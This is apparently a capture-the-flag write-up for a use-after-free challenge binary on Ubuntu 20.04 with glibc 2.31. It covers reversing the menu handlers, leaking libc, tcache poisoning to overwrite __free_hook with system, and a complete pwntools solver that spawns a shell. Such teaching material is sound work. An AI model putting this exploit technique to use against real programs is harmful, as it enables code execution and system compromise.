uaf-20.04

Use-After-Free on Ubuntu 20.04.

4 min read


Table of Contents

[ + ] Introduction
[ + ] Reversing
[ + ] Exploiting
[ + ] Solution

[ + ]Introduction

This challenge is the exploitation of a simple Use-After-Free vulnerability on Ubuntu 20.04. We are working with glibc 2.31 so fortunately there is no need to bypass any advanced mitigation techniques.

[ + ]Reversing

Below you can find the decompiled code snippets, explanations, and details about the heap overflow vulnerability.

TL;DR - UAF vulnerability caused by not removing pointers to chunks on the heap from an array which is also referenced for read and write.

 main

As shown in the image bellow, the program takes some input and it is check against numeric values. If the input matches, the respective subroutine is called.

Image
 add

Here we can see we are able to add a node.

At the top we see that the global array is of size 0xF. Then we allocate a chunk on the heap of any size less than 0x1FFF. The pointer to the chunk is stored in array and the size is stored in size_array.

Image
 delete

Here we are able to delete nodes.

We can see that by providing some input less than 0xF results in the freeing of the chunk from the pointer at array[v0]. There is a crucial flaw here. The pointer is not removed from the array, leading to a UAF vulnerability as you will see in edit and show.

Image
 edit

Here we are able to edit a node.

The node is directly modified through the pointer at array[v1] based on the input we provided. This would not be possible if the pointer was removed at delete. This causes a UAF vulnerability since we are able to modify a chunk after it is freed.

Image
 show

Here we are able to show a node.

The node and size of the node is pulled from array and size_array respectively based on the input we provide. Since these arrays are not update in delete. We can theoretically free the chunks, and show them again in the show subroutine.

Image

[ + ]Exploiting

In order to exploit this UAF vulnerability there are a few steps.

  • Leak libc
  • Overwrite __free_hook with system and ensure correct /bin/sh parameter
  • Trigger __free_hook (system)

Let's start with leaking libc. This is exactly the same way of leaking libc as other exploitation methods - free a chunk of size greater than 0x408 such that it ends up in unsorted bins. We also need to protect top-chunk from swallowing the space with another chunk. We can set ourselves up for the next step by allocating three chunks rather than one.

# Setup libc leak
add(0x409)  # 0

# Protect from top chunk and setup tcache (see next setup)
for i in range(3):
    add(0x20)  # 1, 2, 3

# UAF to read libc address
delete(0)
edit(0, b"")
content = read(0)

address = u64(content[0x11:0x11 + 8])
libc_base = address - 0x1ecbe0
libc.address = libc_base
log.info("Leak is:        " + hex(address))
log.info("libc is:        " + hex(libc_base))
log.info("puts is:        " + hex(libc.sym.puts))
free_hook = address + 0x2268

When looking at the heap, we see the following:

Image

As show, we have a chunk in unsorted_bins after being freed and successfully leaked libc.

Now lets look at overwriting the content at __free_hook and ensuring that /bin/sh is passed as an argument when system is called.

# Add __free_hook as forward pointer and set /bin/sh\0 as argument
delete(3)
delete(2)
delete(1)

edit(1, p64(free_hook))
edit(2, b'/bin/sh\0')

add(0x20)  # 4
add(0x20)  # 5

edit(5, p64(libc.sym.system))

delete(2)

p.interactive()

Here we are adding the address on __free_hook to the forward pointer of chunk 1, such that when we edit chunk 5 (in the place of chunk 2) we will actually be modifying the content at the address of __free_hook.

We can see the heap setup before modifying chunk 5 is as follows:

Image

So that after we edit chunk 5, we have actually modified the content at free hook:

Image

From there, we can trigger system by freeing anything really, but to ensure we have /bin/sh as our argument, we free the second or fifth chunk (since they have the same pointer in array).

Image

[ + ]Solution

Image
 Solver
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(['/nyu/uaf'])

pause()

ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)


def cmd(c):
    sla(b'>', str(c).encode())


def add(size):
    cmd(1)
    sla(b':\n', str(size).encode())


def delete(index_to_delete):
    cmd(2)
    cmd(index_to_delete)


def edit(index, content=b'A'):
    cmd(3)
    cmd(index)
    sla(b':\n', content)


def read(index):
    cmd(4)
    cmd(index)
    res = ru(b"Exit\n=========== NYU OFFSEC ============\n")
    return res


def pwn():
    # Setup libc leak
    add(0x409)  # 0

    # Protect from top chunk and setup tcache (see next setup)
    for i in range(3):
        add(0x20)  # 1, 2, 3

    # UAF to read libc address
    delete(0)
    edit(0, b"")
    content = read(0)

    address = u64(content[0x11:0x11 + 8])
    libc_base = address - 0x1ecbe0
    libc.address = libc_base
    log.info("Leak is:        " + hex(address))
    log.info("libc is:        " + hex(libc_base))
    log.info("puts is:        " + hex(libc.sym.puts))
    free_hook = address + 0x2268

    # Add __free_hook as forward pointer and set /bin/sh\0 as argument
    delete(3)
    delete(2)
    delete(1)

    edit(1, p64(free_hook))
    edit(2, b'/bin/sh\0')

    add(0x20)  # 4
    add(0x20)  # 5

    edit(5, p64(libc.sym.system))

    delete(2)

    p.interactive()

if __name__ == "__main__":
    pwn()